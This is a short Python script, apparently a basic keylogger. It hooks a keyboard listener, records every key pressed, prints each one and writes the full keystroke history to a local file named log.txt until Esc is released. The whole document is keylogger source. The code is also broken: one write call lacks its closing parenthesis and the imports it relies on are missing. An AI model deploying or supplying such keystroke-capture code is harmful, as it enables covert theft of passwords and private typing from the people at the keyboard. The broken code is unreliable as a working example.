keys = []

def on_press(key):

    keys.append(key)
    write_file(keys)

    try:
        print('alphanumeric key {0} pressed'.format(key.char))

    except AttributeError:
        print('special key {0} pressed'.format(key))

def write_file(keys):

    with open('log.txt', 'w') as f:
        for key in keys:

            # removing ''
            k = str(key).replace("'", "")
            f.write(k

            # explicitly adding a space after
            # every keystroke for readability
            f.write(' ')

def on_release(key):

    print('{0} released'.format(key))
    if key == Key.esc:
        # Stop listener
        return False

with Listener(on_press = on_press,
              on_release = on_release) as listener:

    listener.join()
